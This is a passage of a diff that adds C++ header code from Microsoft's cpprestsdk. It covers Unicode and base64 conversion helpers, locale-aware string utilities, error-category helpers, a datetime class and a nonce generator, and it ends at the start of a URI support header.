/// </summary>
|
||||||
|
_ASYNCRTIMP utility::seconds __cdecl xml_duration_to_seconds(const utility::string_t& timespanString);
|
||||||
|
} // namespace timespan
|
||||||
|
|
||||||
|
/// Functions for Unicode string conversions.
|
||||||
|
namespace conversions
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a UTF-16 string to a UTF-8 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="w">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A single byte character UTF-8 string.</returns>
|
||||||
|
_ASYNCRTIMP std::string __cdecl utf16_to_utf8(const utf16string& w);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a UTF-8 string to a UTF-16
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
_ASYNCRTIMP utf16string __cdecl utf8_to_utf16(const std::string& s);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a ASCII (us-ascii) string to a UTF-16 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character us-ascii string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
_ASYNCRTIMP utf16string __cdecl usascii_to_utf16(const std::string& s);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a Latin1 (iso-8859-1) string to a UTF-16 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
_ASYNCRTIMP utf16string __cdecl latin1_to_utf16(const std::string& s);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a Latin1 (iso-8859-1) string to a UTF-8 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A single byte character UTF-8 string.</returns>
|
||||||
|
_ASYNCRTIMP utf8string __cdecl latin1_to_utf8(const std::string& s);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a platform dependent Unicode string type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A platform dependent string type.</returns>
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_string_t(std::string&& s);
|
||||||
|
#else
|
||||||
|
inline utility::string_t&& to_string_t(std::string&& s) { return std::move(s); }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a platform dependent Unicode string type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A platform dependent string type.</returns>
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
inline utility::string_t&& to_string_t(utf16string&& s) { return std::move(s); }
|
||||||
|
#else
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_string_t(utf16string&& s);
|
||||||
|
#endif
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a platform dependent Unicode string type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A platform dependent string type.</returns>
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_string_t(const std::string& s);
|
||||||
|
#else
|
||||||
|
inline const utility::string_t& to_string_t(const std::string& s) { return s; }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a platform dependent Unicode string type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="s">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A platform dependent string type.</returns>
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
inline const utility::string_t& to_string_t(const utf16string& s) { return s; }
|
||||||
|
#else
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_string_t(const utf16string& s);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-16 from string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
_ASYNCRTIMP utf16string __cdecl to_utf16string(const std::string& value);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-16 from string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
inline const utf16string& to_utf16string(const utf16string& value) { return value; }
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-16 from string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A two byte character UTF-16 string.</returns>
|
||||||
|
inline utf16string&& to_utf16string(utf16string&& value) { return std::move(value); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-8 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A single byte character UTF-8 string.</returns>
|
||||||
|
inline std::string&& to_utf8string(std::string&& value) { return std::move(value); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-8 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A single byte character UTF-8 string.</param>
|
||||||
|
/// <returns>A single byte character UTF-8 string.</returns>
|
||||||
|
inline const std::string& to_utf8string(const std::string& value) { return value; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts to a UTF-8 string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="value">A two byte character UTF-16 string.</param>
|
||||||
|
/// <returns>A single byte character UTF-8 string.</returns>
|
||||||
|
_ASYNCRTIMP std::string __cdecl to_utf8string(const utf16string& value);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encode the given byte array into a base64 string
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_base64(const std::vector<unsigned char>& data);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encode the given 8-byte integer into a base64 string
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl to_base64(uint64_t data);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Decode the given base64 string to a byte array
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP std::vector<unsigned char> __cdecl from_base64(const utility::string_t& str);
|
||||||
|
|
||||||
|
template<typename Source>
|
||||||
|
CASABLANCA_DEPRECATED("All locale-sensitive APIs will be removed in a future update. Use stringstreams directly if "
|
||||||
|
"locale support is required.")
|
||||||
|
utility::string_t print_string(const Source& val, const std::locale& loc = std::locale())
|
||||||
|
{
|
||||||
|
utility::ostringstream_t oss;
|
||||||
|
oss.imbue(loc);
|
||||||
|
oss << val;
|
||||||
|
if (oss.bad())
|
||||||
|
{
|
||||||
|
throw std::bad_cast();
|
||||||
|
}
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
CASABLANCA_DEPRECATED("All locale-sensitive APIs will be removed in a future update. Use stringstreams directly if "
|
||||||
|
"locale support is required.")
|
||||||
|
inline utility::string_t print_string(const utility::string_t& val) { return val; }
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
#if defined(__ANDROID__)
|
||||||
|
template<class T>
|
||||||
|
inline std::string to_string(const T t)
|
||||||
|
{
|
||||||
|
std::ostringstream os;
|
||||||
|
os.imbue(std::locale::classic());
|
||||||
|
os << t;
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
template<class T>
|
||||||
|
inline utility::string_t to_string_t(const T t)
|
||||||
|
{
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
using std::to_wstring;
|
||||||
|
return to_wstring(t);
|
||||||
|
#else
|
||||||
|
#if !defined(__ANDROID__)
|
||||||
|
using std::to_string;
|
||||||
|
#endif
|
||||||
|
return to_string(t);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename Source>
|
||||||
|
utility::string_t print_string(const Source& val)
|
||||||
|
{
|
||||||
|
utility::ostringstream_t oss;
|
||||||
|
oss.imbue(std::locale::classic());
|
||||||
|
oss << val;
|
||||||
|
if (oss.bad())
|
||||||
|
{
|
||||||
|
throw std::bad_cast();
|
||||||
|
}
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
inline const utility::string_t& print_string(const utility::string_t& val) { return val; }
|
||||||
|
|
||||||
|
template<typename Source>
|
||||||
|
utf8string print_utf8string(const Source& val)
|
||||||
|
{
|
||||||
|
return conversions::to_utf8string(print_string(val));
|
||||||
|
}
|
||||||
|
inline const utf8string& print_utf8string(const utf8string& val) { return val; }
|
||||||
|
|
||||||
|
template<typename Target>
|
||||||
|
Target scan_string(const utility::string_t& str)
|
||||||
|
{
|
||||||
|
Target t;
|
||||||
|
utility::istringstream_t iss(str);
|
||||||
|
iss.imbue(std::locale::classic());
|
||||||
|
iss >> t;
|
||||||
|
if (iss.bad())
|
||||||
|
{
|
||||||
|
throw std::bad_cast();
|
||||||
|
}
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline const utility::string_t& scan_string(const utility::string_t& str) { return str; }
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
template<typename Target>
|
||||||
|
CASABLANCA_DEPRECATED("All locale-sensitive APIs will be removed in a future update. Use stringstreams directly if "
|
||||||
|
"locale support is required.")
|
||||||
|
Target scan_string(const utility::string_t& str, const std::locale& loc = std::locale())
|
||||||
|
{
|
||||||
|
Target t;
|
||||||
|
utility::istringstream_t iss(str);
|
||||||
|
iss.imbue(loc);
|
||||||
|
iss >> t;
|
||||||
|
if (iss.bad())
|
||||||
|
{
|
||||||
|
throw std::bad_cast();
|
||||||
|
}
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
|
||||||
|
CASABLANCA_DEPRECATED("All locale-sensitive APIs will be removed in a future update. Use stringstreams directly if "
|
||||||
|
"locale support is required.")
|
||||||
|
inline utility::string_t scan_string(const utility::string_t& str) { return str; }
|
||||||
|
} // namespace conversions
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Cross platform RAII container for setting thread local locale.
|
||||||
|
/// </summary>
|
||||||
|
class scoped_c_thread_locale
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_ASYNCRTIMP scoped_c_thread_locale();
|
||||||
|
_ASYNCRTIMP ~scoped_c_thread_locale();
|
||||||
|
|
||||||
|
#if !defined(ANDROID) && !defined(__ANDROID__) // CodePlex 269
|
||||||
|
#ifdef _WIN32
|
||||||
|
typedef _locale_t xplat_locale;
|
||||||
|
#else
|
||||||
|
typedef locale_t xplat_locale;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static _ASYNCRTIMP xplat_locale __cdecl c_locale();
|
||||||
|
#endif
|
||||||
|
private:
|
||||||
|
#ifdef _WIN32
|
||||||
|
std::string m_prevLocale;
|
||||||
|
int m_prevThreadSetting;
|
||||||
|
#elif !(defined(ANDROID) || defined(__ANDROID__))
|
||||||
|
locale_t m_prevLocale;
|
||||||
|
#endif
|
||||||
|
scoped_c_thread_locale(const scoped_c_thread_locale&);
|
||||||
|
scoped_c_thread_locale& operator=(const scoped_c_thread_locale&);
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Our own implementation of alpha numeric instead of std::isalnum to avoid
|
||||||
|
/// taking global lock for performance reasons.
|
||||||
|
/// </summary>
|
||||||
|
inline bool __cdecl is_alnum(const unsigned char uch) CPPREST_NOEXCEPT
|
||||||
|
{ // test if uch is an alnum character
|
||||||
|
// special casing char to avoid branches
|
||||||
|
// clang-format off
|
||||||
|
static CPPREST_CONSTEXPR bool is_alnum_table[UCHAR_MAX + 1] = {
|
||||||
|
/* X0 X1 X2 X3 X4 X5 X6 X7 X8 X9 XA XB XC XD XE XF */
|
||||||
|
/* 0X */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
/* 1X */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
/* 2X */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
/* 3X */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, /* 0-9 */
|
||||||
|
/* 4X */ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* A-Z */
|
||||||
|
/* 5X */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0,
|
||||||
|
/* 6X */ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* a-z */
|
||||||
|
/* 7X */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0
|
||||||
|
/* non-ASCII values initialized to 0 */
|
||||||
|
};
|
||||||
|
// clang-format on
|
||||||
|
return (is_alnum_table[uch]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Our own implementation of alpha numeric instead of std::isalnum to avoid
|
||||||
|
/// taking global lock for performance reasons.
|
||||||
|
/// </summary>
|
||||||
|
inline bool __cdecl is_alnum(const char ch) CPPREST_NOEXCEPT { return (is_alnum(static_cast<unsigned char>(ch))); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Our own implementation of alpha numeric instead of std::isalnum to avoid
|
||||||
|
/// taking global lock for performance reasons.
|
||||||
|
/// </summary>
|
||||||
|
template<class Elem>
|
||||||
|
inline bool __cdecl is_alnum(Elem ch) CPPREST_NOEXCEPT
|
||||||
|
{
|
||||||
|
// assumes 'x' == L'x' for the ASCII range
|
||||||
|
typedef typename std::make_unsigned<Elem>::type UElem;
|
||||||
|
const auto uch = static_cast<UElem>(ch);
|
||||||
|
return (uch <= static_cast<UElem>('z') && is_alnum(static_cast<unsigned char>(uch)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Simplistic implementation of make_unique. A better implementation would be based on variadic templates
|
||||||
|
/// and therefore not be compatible with Dev10.
|
||||||
|
/// </summary>
|
||||||
|
template<typename _Type>
|
||||||
|
std::unique_ptr<_Type> make_unique()
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type());
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type(std::forward<_Arg1>(arg1)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1, typename _Arg2>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1, _Arg2&& arg2)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type(std::forward<_Arg1>(arg1), std::forward<_Arg2>(arg2)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1, typename _Arg2, typename _Arg3>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1, _Arg2&& arg2, _Arg3&& arg3)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(
|
||||||
|
new _Type(std::forward<_Arg1>(arg1), std::forward<_Arg2>(arg2), std::forward<_Arg3>(arg3)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1, typename _Arg2, typename _Arg3, typename _Arg4>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1, _Arg2&& arg2, _Arg3&& arg3, _Arg4&& arg4)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type(
|
||||||
|
std::forward<_Arg1>(arg1), std::forward<_Arg2>(arg2), std::forward<_Arg3>(arg3), std::forward<_Arg4>(arg4)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1, typename _Arg2, typename _Arg3, typename _Arg4, typename _Arg5>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1, _Arg2&& arg2, _Arg3&& arg3, _Arg4&& arg4, _Arg5&& arg5)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type(std::forward<_Arg1>(arg1),
|
||||||
|
std::forward<_Arg2>(arg2),
|
||||||
|
std::forward<_Arg3>(arg3),
|
||||||
|
std::forward<_Arg4>(arg4),
|
||||||
|
std::forward<_Arg5>(arg5)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Type, typename _Arg1, typename _Arg2, typename _Arg3, typename _Arg4, typename _Arg5, typename _Arg6>
|
||||||
|
std::unique_ptr<_Type> make_unique(_Arg1&& arg1, _Arg2&& arg2, _Arg3&& arg3, _Arg4&& arg4, _Arg5&& arg5, _Arg6&& arg6)
|
||||||
|
{
|
||||||
|
return std::unique_ptr<_Type>(new _Type(std::forward<_Arg1>(arg1),
|
||||||
|
std::forward<_Arg2>(arg2),
|
||||||
|
std::forward<_Arg3>(arg3),
|
||||||
|
std::forward<_Arg4>(arg4),
|
||||||
|
std::forward<_Arg5>(arg5),
|
||||||
|
std::forward<_Arg6>(arg6)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cross platform utility function for performing case insensitive string equality comparison.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="left">First string to compare.</param>
|
||||||
|
/// <param name="right">Second strong to compare.</param>
|
||||||
|
/// <returns>true if the strings are equivalent, false otherwise</returns>
|
||||||
|
_ASYNCRTIMP bool __cdecl str_iequal(const std::string& left, const std::string& right) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cross platform utility function for performing case insensitive string equality comparison.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="left">First string to compare.</param>
|
||||||
|
/// <param name="right">Second strong to compare.</param>
|
||||||
|
/// <returns>true if the strings are equivalent, false otherwise</returns>
|
||||||
|
_ASYNCRTIMP bool __cdecl str_iequal(const std::wstring& left, const std::wstring& right) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cross platform utility function for performing case insensitive string less-than comparison.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="left">First string to compare.</param>
|
||||||
|
/// <param name="right">Second strong to compare.</param>
|
||||||
|
/// <returns>true if a lowercase view of left is lexicographically less than a lowercase view of right; otherwise,
|
||||||
|
/// false.</returns>
|
||||||
|
_ASYNCRTIMP bool __cdecl str_iless(const std::string& left, const std::string& right) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cross platform utility function for performing case insensitive string less-than comparison.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="left">First string to compare.</param>
|
||||||
|
/// <param name="right">Second strong to compare.</param>
|
||||||
|
/// <returns>true if a lowercase view of left is lexicographically less than a lowercase view of right; otherwise,
|
||||||
|
/// false.</returns>
|
||||||
|
_ASYNCRTIMP bool __cdecl str_iless(const std::wstring& left, const std::wstring& right) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Convert a string to lowercase in place.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="target">The string to convert to lowercase.</param>
|
||||||
|
_ASYNCRTIMP void __cdecl inplace_tolower(std::string& target) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Convert a string to lowercase in place.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="target">The string to convert to lowercase.</param>
|
||||||
|
_ASYNCRTIMP void __cdecl inplace_tolower(std::wstring& target) CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Category error type for Windows OS errors.
|
||||||
|
/// </summary>
|
||||||
|
class windows_category_impl : public std::error_category
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual const char* name() const CPPREST_NOEXCEPT { return "windows"; }
|
||||||
|
|
||||||
|
virtual std::string message(int errorCode) const CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
virtual std::error_condition default_error_condition(int errorCode) const CPPREST_NOEXCEPT;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the one global instance of the windows error category.
|
||||||
|
/// </summary>
|
||||||
|
/// </returns>An error category instance.</returns>
|
||||||
|
_ASYNCRTIMP const std::error_category& __cdecl windows_category();
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the one global instance of the linux error category.
|
||||||
|
/// </summary>
|
||||||
|
/// </returns>An error category instance.</returns>
|
||||||
|
_ASYNCRTIMP const std::error_category& __cdecl linux_category();
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the one global instance of the current platform's error category.
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP const std::error_category& __cdecl platform_category();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an instance of std::system_error from a OS error code.
|
||||||
|
/// </summary>
|
||||||
|
inline std::system_error __cdecl create_system_error(unsigned long errorCode)
|
||||||
|
{
|
||||||
|
std::error_code code((int)errorCode, platform_category());
|
||||||
|
return std::system_error(code, code.message());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a std::error_code from a OS error code.
|
||||||
|
/// </summary>
|
||||||
|
inline std::error_code __cdecl create_error_code(unsigned long errorCode)
|
||||||
|
{
|
||||||
|
return std::error_code((int)errorCode, platform_category());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates the corresponding error message from a OS error code.
|
||||||
|
/// </summary>
|
||||||
|
inline utility::string_t __cdecl create_error_message(unsigned long errorCode)
|
||||||
|
{
|
||||||
|
return utility::conversions::to_string_t(create_error_code(errorCode).message());
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
class datetime
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef uint64_t interval_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Defines the supported date and time string formats.
|
||||||
|
/// </summary>
|
||||||
|
enum date_format
|
||||||
|
{
|
||||||
|
RFC_1123,
|
||||||
|
ISO_8601
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the current UTC time.
|
||||||
|
/// </summary>
|
||||||
|
static _ASYNCRTIMP datetime __cdecl utc_now();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// An invalid UTC timestamp value.
|
||||||
|
/// </summary>
|
||||||
|
enum : interval_type
|
||||||
|
{
|
||||||
|
utc_timestamp_invalid = static_cast<interval_type>(-1)
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns seconds since Unix/POSIX time epoch at 01-01-1970 00:00:00.
|
||||||
|
/// If time is before epoch, utc_timestamp_invalid is returned.
|
||||||
|
/// </summary>
|
||||||
|
static interval_type utc_timestamp()
|
||||||
|
{
|
||||||
|
const auto seconds = utc_now().to_interval() / _secondTicks;
|
||||||
|
if (seconds >= 11644473600LL)
|
||||||
|
{
|
||||||
|
return seconds - 11644473600LL;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return utc_timestamp_invalid;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
datetime() : m_interval(0) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates <c>datetime</c> from a string representing time in UTC in RFC 1123 format.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Returns a <c>datetime</c> of zero if not successful.</returns>
|
||||||
|
static _ASYNCRTIMP datetime __cdecl from_string(const utility::string_t& timestring, date_format format = RFC_1123);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a string representation of the <c>datetime</c>.
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP utility::string_t to_string(date_format format = RFC_1123) const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the integral time value.
|
||||||
|
/// </summary>
|
||||||
|
interval_type to_interval() const { return m_interval; }
|
||||||
|
|
||||||
|
datetime operator-(interval_type value) const { return datetime(m_interval - value); }
|
||||||
|
|
||||||
|
datetime operator+(interval_type value) const { return datetime(m_interval + value); }
|
||||||
|
|
||||||
|
bool operator==(datetime dt) const { return m_interval == dt.m_interval; }
|
||||||
|
|
||||||
|
bool operator!=(const datetime& dt) const { return !(*this == dt); }
|
||||||
|
|
||||||
|
static interval_type from_milliseconds(unsigned int milliseconds) { return milliseconds * _msTicks; }
|
||||||
|
|
||||||
|
static interval_type from_seconds(unsigned int seconds) { return seconds * _secondTicks; }
|
||||||
|
|
||||||
|
static interval_type from_minutes(unsigned int minutes) { return minutes * _minuteTicks; }
|
||||||
|
|
||||||
|
static interval_type from_hours(unsigned int hours) { return hours * _hourTicks; }
|
||||||
|
|
||||||
|
static interval_type from_days(unsigned int days) { return days * _dayTicks; }
|
||||||
|
|
||||||
|
bool is_initialized() const { return m_interval != 0; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend int operator-(datetime t1, datetime t2);
|
||||||
|
|
||||||
|
static const interval_type _msTicks = static_cast<interval_type>(10000);
|
||||||
|
static const interval_type _secondTicks = 1000 * _msTicks;
|
||||||
|
static const interval_type _minuteTicks = 60 * _secondTicks;
|
||||||
|
static const interval_type _hourTicks = 60 * 60 * _secondTicks;
|
||||||
|
static const interval_type _dayTicks = 24 * 60 * 60 * _secondTicks;
|
||||||
|
|
||||||
|
// Private constructor. Use static methods to create an instance.
|
||||||
|
datetime(interval_type interval) : m_interval(interval) {}
|
||||||
|
|
||||||
|
// Storing as hundreds of nanoseconds 10e-7, i.e. 1 here equals 100ns.
|
||||||
|
interval_type m_interval;
|
||||||
|
};
|
||||||
|
|
||||||
|
inline int operator-(datetime t1, datetime t2)
|
||||||
|
{
|
||||||
|
auto diff = (t1.m_interval - t2.m_interval);
|
||||||
|
|
||||||
|
// Round it down to seconds
|
||||||
|
diff /= 10 * 1000 * 1000;
|
||||||
|
|
||||||
|
return static_cast<int>(diff);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Nonce string generator class.
|
||||||
|
/// </summary>
|
||||||
|
class nonce_generator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Define default nonce length.
|
||||||
|
/// </summary>
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
default_length = 32
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Nonce generator constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="length">Length of the generated nonce string.</param>
|
||||||
|
nonce_generator(int length = default_length)
|
||||||
|
: m_random(static_cast<unsigned int>(utility::datetime::utc_timestamp())), m_length(length)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Generate a nonce string containing random alphanumeric characters (A-Za-z0-9).
|
||||||
|
/// Length of the generated string is set by length().
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The generated nonce string.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t generate();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get length of generated nonce string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Nonce string length.</returns>
|
||||||
|
int length() const { return m_length; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set length of the generated nonce string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="length">Lenght of nonce string.</param>
|
||||||
|
void set_length(int length) { m_length = length; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::mt19937 m_random;
|
||||||
|
int m_length;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace utility
|
|
@ -0,0 +1,391 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Protocol independent support for URIs.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
#include <map>
|
||||||
|
#include <string>
|
||||||
|
#include <utility>
|
||||||
|
